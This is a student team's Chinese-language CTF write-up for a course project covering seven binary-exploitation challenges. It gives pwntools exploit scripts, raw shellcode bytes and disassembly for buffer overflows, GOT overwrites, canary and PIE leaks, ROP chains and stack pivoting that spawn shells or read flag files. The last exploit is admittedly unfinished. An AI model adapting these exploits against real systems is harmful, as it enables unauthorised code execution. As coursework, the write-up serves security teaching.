

# 攻防 Project1 Write up

組名：WannaCry\_QQ

107502018 王昱承

107502504 歐亭昀

109522009 蕭盛澤

## 1. Helloctf\_revenge

突破點：

1.目標是使用 buffer overflow 將 ret 位置切換成想要的地方，進入程式後就有一個以 get 製作成的 input 來做 buffer overflow

2.要令 main function 正常結束，main 裡面有 2 個判斷點：

(1) 長度不能超過 0x10

(2) 輸入字串要和 yes 一模一樣

為了要和第 2 點相符，使用 b"yes\x00"作為輸入，後面隨便塞，\x00 代表著 NULL，當成是讀到 NULL 時會以為字串已經結束了，正好通過了 main 的兩個檢測。

3. 最後，ret 指向的位置直接指向 lea 處 <magic+8> 後，成功進入 Shell，如果要直接 ret 到 magic 的話，需要再前方插入 ret 指令，讓 rsp 可以對齊(0x10 結尾)。

程式碼與註解：

```
from pwn import *
context.arch = 'amd64'

magic = 0x40125b      # the address of magic func.
lea = 0x401263        # the address of "lea"

p = remote('ctf.adl.tw',10001)
# p = process('helloctf_revenge')
pause()
# send yes+trash+lea
payload = flat(b"yes\x00",cyclic(0x4),cyclic(0x10),lea)
p.sendlineafter(b"Do you like VTuber?\n",payload)

p.interactive()
p.close()
```

## 2. Holoshell

突破點：

1. 從 C 語言中的 rand() 函數的種子(srand)的方式下手，因為只要種子相同，密碼就相同。
2. 在猜密碼時製作第 0 秒以及第 1 秒，因為有時 remote 的時間一樣，有時會差一秒。
3. 最後密碼正確時，再輸入「\sh」建立一個 shell，而分號是要隔開兩邊。

程式碼與註解：

```
from pwn import *
from ctypes import *
context.arch = "amd64"
elf = cdll.LoadLibrary('libc.so.6')
p = process('/share/holoshell')

def make_psw(plus):
    elf.srand(time_base+plus)
    s=""
    for i in range(10):
        s+= chr(33 + (elf.rand() % (126 - 32) + 1))
    return s

time_base=elf.time(0)
passwd_list=[]
passwd_list.append(make_psw(0).encode())#same as remote
passwd_list.append(make_psw(1).encode())#remote is 1 second later

p = remote('140.115.59.7',10004)
pause()
p.send("sudo -s".encode())
pause()
p.send(passwd_list[0])          #有時是[0]
pause()
p.send(b"\n;\sh ;\n")
p.interactive()
```

### 3. Holotool

突破點：

1. 因為這題無法 overflow，而且有開 NX，所以寫進 stack 中的 shellcode 也無法執行
2. 我們發現，在選擇要 Print 出 VT 的選項時，沒有設置下限，所以可藉由打「-1」將原本要讀取 VT[1].name 的位置反向讀取到 atoi 在 GOT 表的值，因此可以 Print 出 atoi 在 libc.sym 中的位置(取得 libc 的位置)。
3. 藉由算 offset 以及使用「libc.sym」找到 system call 的位置。
4. 發現在選項(2)edit 中選擇編輯誰時，因為輸入同上沒設置下限，從而造成接下來原本要輸入進 VT[1].name 的 system call 在 libc 的位置被存入 atoi 在 got table 中的位置。
5. 因為 got table 的 system call 會自動將 rax 設成 0x3b，所以我們接下來的目標就是改變 rdi,rsi 的內容。
6. 我們發現在 read\_int() 中 read()會將輸入存進 rdi,rsi，並且接下來就呼叫 atoi()，非常符合我們的需求，所以我直接輸入 /bin/sh 開 shell。

程式碼與註解：

```
from pwn import *
import struct
context.arch = "amd64"
p = process('share/holotool') # p = remote('140.115.59.7',10005)
libc = ELF('./holotool_distribute/share/libc.so.6')

pause()
p.send(b"1")          # input 1 (Print)
pause()
p.send(b"-1")         # input -1 (Print bas Address)

atoi = u64(p.recvuntil('\nYT')[635:641].ljust(8, b'\x00'))
syscalls = atoi - libc.sym['atoi'] + libc.sym['system']

pause()
p.send(b"2")          # send 2 (edit)
pause()
p.send(b"-1")         # send -1 (direct to GOT)
pause()
p.send(b"1")          # send 1 (write name)
pause()
p.send(p64(syscalls)) # send syscalls address to got
pause()
p.send(b"/bin/sh")    # send /bin/sh (in rdi & rsi )
p.interactive()
```

## 4. Peko

突破點：

1. 要先輸入「yes」才可以過第一關
2. 接著要在輸入字串時，確保在遇到「第6個輸入」和從「第6開始每隔11的char」要是「\x87」才可以通過第二關。
3. 接下來因為這題的保護機制都沒開，而且在最後面有呼叫 stack 內 shellcode 的程式碼，所以只要將 stack 中塞入 shellcode 就能執行了。依照上述的規則，將設定 rax,rdi,rdx,rsi 等暫存器和呼叫 stscalls 的 shellcode 輸入進去。

程式碼與註解：

```
from pwn import *
import struct
context.arch = "amd64"
p = process('peko_distribute/share/peko')

pause()
payload = flat(          #end yes to pass first exit(0)
    b"yes",
)
p.send(payload)
payload2 = flat(         #insert the shellcode into the stack
    b"\x50\x48\x31\xd2\xB1\x87\x48\x31\xf6\x80\xE9\x87\x80\xC1\x87\xB1\x87\x48\xC7\xC3\x2F\x2F\x73\x68\xB1\x87\xB1\x87\x48\xC1\xE3\x20\x80\xC1\x87\xB1\x87\xB1\x87\x48\x81\xC3\x2F\x62\x69\x6E\xB1\x87\xB1\x87\x53\x54\x5f\xb0\x3b\x0f\x05\xB1\x87\xB1\x87\x80\xC1\x87")
p.send(payload2)
pause()
p.interactive()

#the shellcode insert into stack turn into assembly code
0:  48 8d 35 13 00 00 00    lea    rsi,[rip+0x13]          # 0x1a
7:  48 83 c4 28             add    rsp,0x28
b:  48 8d 9d 46 ff ff ff    lea    rbx,[rbp-0xba]
12: 38 c2                  cmp    dl,al
14: 48 0f 44 de            cmove  rbx,rsi
18: 53                     push   rbx
19: c3                     ret
1a: b0 e7                 mov    al,0xe7
1c: 0f 05                 syscall
```

## 5. Debut

突破點：

1. 同樣要進行 buffer overflow，這次目標放在 `set_fan_name()`，因為這裡是唯一 `read` 參數可以超過 0x10 位的地方。因為有 `timeout` 限制，我們必須要快速發大財，這邊利用 `shopping()` 的漏洞，販賣負的 `stickers` 直接發財，然後把粉絲加成都買一買，最後只要 `stream` 一次就能滿足 `set_fan_name` 的條件。
2. 成功進入 `set_fan_name()` 後，我們共要處理三個問題：
  - (1) Canary 防禦機制
  - (2) PIE 防禦機制 Code 端
  - (3) PIE 防禦機制 Libc 端
3. 在程式裡我最先做的是第二項，原因是我發現輸入的 +0x8 處，剛好有個位於 Code 端的 `pointer`，所以我就將 `input` 塞 8 個垃圾，讓兩者接起來，這樣後面的名稱確認那就會把 Code 端位置洩漏出來，由此得到 Code 端的浮動位置。
4. 第二個做的是第一項，破解 Canary 的方式與上方相同，我塞 41 個垃圾讓 Canary 洩漏出來，雖然 Canary 的第一個字元會被我垃圾蓋掉，但是 Canary 的第一個字元固定是 `b"\x00"`，所以後面再補給他就是了。
5. 最後算的是 Libc 的浮動位置，這裡的方法就沒有什麼特殊的，因為我們在前面已經獲得 Code 端的浮動位置，所以我們已經可以開始控制 `ret` 來搞事了，我們用了 `pop rdi` 塞入 Libc `puts` 的位置，然後呼叫 Code 端的 `puts` 讓他輸出出來，這樣得到了 Libc 端的浮動位置。
6. 處理完上方所有事項後，從 Libc 裡找出 `b"/bin/sh"` 和 `system` 位置，然後依次序塞到輸入裡就是了(記得要放 Canary)。

程式碼與註解：

```
from pwn import *

stream =
b"\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
shopping =
b"\x32\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buy1 = b"B1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buy2 = b"B2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buy3 = b"B3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buy4 = b"B4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buy5 = b"B5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
set_fan =
b"\x33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
sell = b's-9999999999999999\x00'
```

```

#p = process("./debut")
p = remote('ctf.ad1.tw', 10006)
elf = ELF("./debut")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

pause()
payload = flat(b"David")
p.sendlineafter(b"your vTuber life\n", payload)
#####Code-offset#####
payload = flat(shopping, sell, shopping, buy1, shopping, buy2, shopping,
buy3,shopping, buy4, shopping, buy5, stream, set_fan, cyclic(8))
p.sendlineafter(b"exit\n", payload)
p.recvuntil(cyclic(8)+b"\n")
code_offset = u64(p.recv(7).rjust(8, b"\x00"))
# 0xXXXXcode_offset -> 0x0000code_offset
code_offset = code_offset % (16**13)
# code_offset in 1300 查 obj 查來的
code_offset = code_offset - 0x1300
print("Code_offset is :", hex(code_offset))
#####
#####Canary#####
pause()
payload = flat(b"n", cyclic(41))
# p.sendlineafter(b"\n",payload)
p.send(payload)

p.recvuntil(cyclic(41))
canary = u64(p.recv(7).rjust(8, b"\x00"))
print("Canary is :", hex(canary))
#####
#####Libc-offset#####
pop_rdi = 0x0000000000001cc3 + code_offset
# 最後要回到 set_fan_name
set_fan_name = 0x0000000000001a70 + code_offset

pause()
payload = flat(b"n", cyclic(40), p64(canary), cyclic(8), p64(pop_rdi),
p64(elf.got['puts'] +
code_offset), p64(elf.plt['puts']+code_offset),
p64(set_fan_name))

```

```

p.send(payload)

pause()
payload = flat(b"y")
p.send(payload)
p.recvuntil(b'success\n')
puts = u64(p.recvline().strip().ljust(8, b"\x00"))
# or - 554400
libc_offset = puts - libc.sym['puts']
print("Libc_offset is :", hex(libc_offset))
#####
#####Get-Shell#####
bin_address = next(libc.search(b'/bin/sh')) + libc_offset
system = libc.sym['system'] + libc_offset
# 避免 rsp 沒對齊
ret = 0x0000000000000101a + code_offset
pause()
payload = flat(cyclic(40), p64(canary), cyclic(8),
               p64(pop_rdi), p64(bin_address), p64(ret), p64(system))
p.send(payload)
#####
pause()
p.send(b'y')
p.interactive()
p.close()
# cd /home/"debut"/flag
# cat /home/"debut"/flag
# ADL{你有看過feat 百鬼的台V 嗎沒有的話趕快點進去看
https://www.youtube.com/watch?v=nBLnWJUFAzI#t=244

```

## 6. Pekopeko

突破點：

1. 輸入 yes 避開進入 `exit(0)`，和 peko 很像。
2. 第一次的輸入需要符合與 peko 這題一樣的規則(確保在遇到「第 6 個輸入」和從「第 6 開始每隔 11 的 char」要是'\x87')，而依照這個規則，輸入一段「寫入 shellcode 到 stack 其他地方」的 shellcode
3. 程式執行到我們寫的 shellcode 後，再寫入一段程式碼內容為：  
「開啟並讀取 /home/pekopeko/flag 檔案內容 →  
讀取 flag 內第 i 個字元 →  
輸入字串 guest，並用迴圈和 `flag[i]` 比較  
If 輸入字串內有和 `flag[i]` 相同的字元：`exit()`  
Else 等待」
4. 依照我們的程式，如果發現 flag 內和我們 guest 的 flag 有相同的 char，則程式會顯示 `Exit()`。所以我們將所有有可能的 char 都輸入一遍，一個一個猜 flag 的 char。

程式碼與註解：

```
from pwn import *
import struct
context.arch = "amd64"
# p = remote('140.115.59.7',10008)
p = process('pekopeko_distribute/share/pekopeko')

p.send(flat(b"yes"))

p.send(    # input shell code
    flat(b"\x48\x31\xD2\x80\xC1\x87\x48\x8D\xB5\x00\xFF\xFF\xFF\xB1\x87\xB1\x87\xB2\x90\xB8\x10\x11\x40\x00\xB1\x87\xB1\x87\x48\x31\xC9\xFF\xD0\x48\x83\xEC\x70\xB1\x87\x48\x83\xEC\x40\xFF\xD6\xB1\x87\x80\xC1\x87\xB1\x87\xB1\x87\x80\xC1\x87\xB1\x87\x80\xC1\x87"))
# string input
inp=flat(    # read flag X32
    b"\x59\xBF\x6C\x61\x67\x00\x57\x48\xBF\x6B\x6F\x70\x65\x6B\x6F\x2F\x66\x57\x48\xBF\x2F\x68\x6F\x6D\x65\x2F\x70\x65\x57\x48\x31\xF6\x48\x31\xD2\x48\x8D\x3C\x24\xB0\x02\x0F\x05\x48\x31\xFF\x66\xBF\x03\x00\x48\x31\xC0\x66\xBA\x40\x00\x50\x50\x50\x50\x48\x8D\x34\x24\x48\x31\xC0\x0F\x05\xB1\x87",
    #input compare string
    b"\x48\x31\xD2\xB2\x01\x48\x31\xFF\x57\x57\x57\x57\x57\x48\x8D\x34\x24\xB8\x10\x11\x40\x00\x48\x31\xC9\xFF\xD0",
    #compare string
    b"\x0F\xB6\x54\x24\x31\x0F\xB6\x04\x24\x38\xC2",
```



#jump

b"\x48\x8D\x35\x13\x00\x00\x00\x48\x83\xC4\x28\x48\x8D\x9D\x46\xFF\xFF\xFF\x38\xC2\x48\x0F\x44\xDE\x53\xC3\xB0\xE7\x0F\x05",

#others

b"\xB1\x87\xB1\x87"

)

p.send(inp)

p.send(b"a")

p.send(b"\_")

p.interactive()

# input shell code

```

0: 48          dec     eax
1: 31 d2       xor     edx,edx
3: 80 c1 87    add     cl,0x87
6: 48          dec     eax
7: 8d b5 00 ff ff ff    lea     esi,[ebp-0x100]
d: b1 87       mov     cl,0x87
f: b1 87       mov     cl,0x87
11: b2 90       mov     dl,0x90
13: b8 10 11 40 00    mov     eax,0x401110
18: b1 87       mov     cl,0x87
1a: b1 87       mov     cl,0x87
1c: 48          dec     eax
1d: 31 c9       xor     ecx,ecx
1f: ff d0       call    eax
21: 48          dec     eax
22: 83 ec 70     sub     esp,0x70
25: b1 87       mov     cl,0x87
27: 48          dec     eax
28: 83 ec 40     sub     esp,0x40
2b: ff d6       call    esi
2d: b1 87       mov     cl,0x87
2f: 80 c1 87    add     cl,0x87
32: b1 87       mov     cl,0x87
34: b1 87       mov     cl,0x87
36: 80 c1 87    add     cl,0x87
39: b1 87       mov     cl,0x87
3b: b1 87       mov     cl,0x87
3d: 80 c1 87    add     cl,0x87

```

### *#read file*

```
0: 59                pop    rcx
1: bf 6c 61 67 00    mov    edi,0x67616c
6: 57                push   rdi
7: 48 bf 6b 6f 70 65 6b  movabs rdi,0x662f6f6b65706f6b
e: 6f 2f 66
11: 57                push   rdi
12: 48 bf 2f 68 6f 6d 65  movabs rdi,0x65702f656d6f682f
19: 2f 70 65
1c: 57                push   rdi
1d: 48 31 f6          xor     rsi,rsi
20: 48 31 d2          xor     rdx,rdx
23: 48 8d 3c 24       lea     rdi,[rsp]
27: b0 02            mov     al,0x2
29: 0f 05            syscall
2b: 48 31 ff          xor     rdi,rdi
2e: 66 bf 03 00       mov     di,0x3
32: 48 31 c0          xor     rax,rax
35: 66 ba 40 00       mov     dx,0x40
39: 50                push   rax
3a: 50                push   rax
3b: 50                push   rax
3c: 50                push   rax
3d: 48 8d 34 24       lea     rsi,[rsp]
41: 48 31 c0          xor     rax,rax
44: 0f 05            syscall
46: b1 87            mov     cl,0x87
```

### *#input compare string*

```
0: 48 31 d2          xor     rdx,rdx
3: b2 01            mov     dl,0x1
5: 48 31 ff          xor     rdi,rdi
8: 57                push   rdi
9: 57                push   rdi
a: 57                push   rdi
b: 57                push   rdi
c: 57                push   rdi
d: 48 8d 34 24       lea     rsi,[rsp]
11: b8 10 11 40 00    mov     eax,0x401110
16: 48 31 c9          xor     rcx,rcx
```

```

19: ff d0                call    rax

#input compare string
0: 0f b6 54 24 31        movzx   edx,BYTE PTR [rsp+0x31]
5: 0f b6 04 24           movzx   eax,BYTE PTR [rsp]

# jump
0: 48 8d 35 13 00 00 00    lea     rsi,[rip+0x13]          # 0x1a
7: 48 83 c4 28           add     rsp,0x28
b: 48 8d 9d 46 ff ff ff    lea     rbx,[rbp-0xba]
12: 38 c2                cmp     dl,al
if:dl==al(rsi 放入 rbx)
else:rbx 不動
14: 48 0f 44 de          cmove   rbx,rsi
18: 53                   push    rbx
19: c3                   ret(pop rip)
1a: b0 e7               mov     al,0xe7
1c: 0f 05               syscall

```

## 7. Gawr\_gura

突破點：

(Goal 1)取的 libc base：

1. 因為 Gawr\_gura.note 長度為 10，但我們可以輸入 48 個字元，而且第 40-48 的 char 會剛好會覆蓋到 GOT table 中的 stdout，所以我們先算好輸入長度，將 stdout 前填滿，再 printf Gawr\_gura.note 就可以得到 stdout 的 libc 地址。(因為 printf 內部機制是讀取 null 作為停止，所以如果我們都填滿的話，就會連同後面的值一併印出)
2. 有 libc 地址就能算出 libc base 的長度。
3. 在輸入 buf 那邊有 overflow，將 ret 的位置填入「main + 0」重新在跑一次。

(Goal 2)Stack pivoting：

1. Gawr\_gura.note 填入 execve 的 ROP gadget
2. buf overflow 的地方，將 rbp → 填入 Gawr\_gura.note 的位置，  
ret → 填入 leave ret 的 gadget，就完成 stack pivoting.

中間要將 syscall 寫入 got table 中但我們還未做出來。

程式碼與註解：

```

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
from pwn import *
# context.arch = 'amd64' #設定目標機的資訊
# lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")

```

```

p = process('gawr_gura_distribute/share/gawr_gura') # 檔名

pause()
p.send(b'5') # send 5 (Input)
pause()
p.send(b'a'*0x2c) # send msg (Input into note)
pause()
p.send(b'6') # send get msg send 6 (show address)

stdout = u64(p.recvuntil('Write')[7794:7800].ljust(8, b'\x00'))
base = stdout - lib.sym['_IO_2_1_stdout_']
syscalls = base + lib.sym['__libc_system']
success('base: 0x%x', base)
success('total: 0x%x', syscalls)

pause()

p.send(b"a"*0x50 + # Suggest (overwrite) back to main
      p64(0x0000000000000000) +
      p64(0x0000000000401639))
pause()
p.send(b'5') # send 5 (Input)
pause()
pop_rdi = 0x00000000004018c3
ret = 0x000000000040101a
pop_rsp = 0x00000000004018bd
sh = base + 0xe6c84

# send msg (Input into note overwrite Got table)
p.send(b'a'*0x2c+p64(syscalls))
pause()
p.send(b'1') # send 1 (print name)
pause()
p.send(b"a"*0x50 + # Suggest (stack pivoting)
      p64(0x0000000000407090) +
      p64(0x0000000000401637))

p.interactive()

```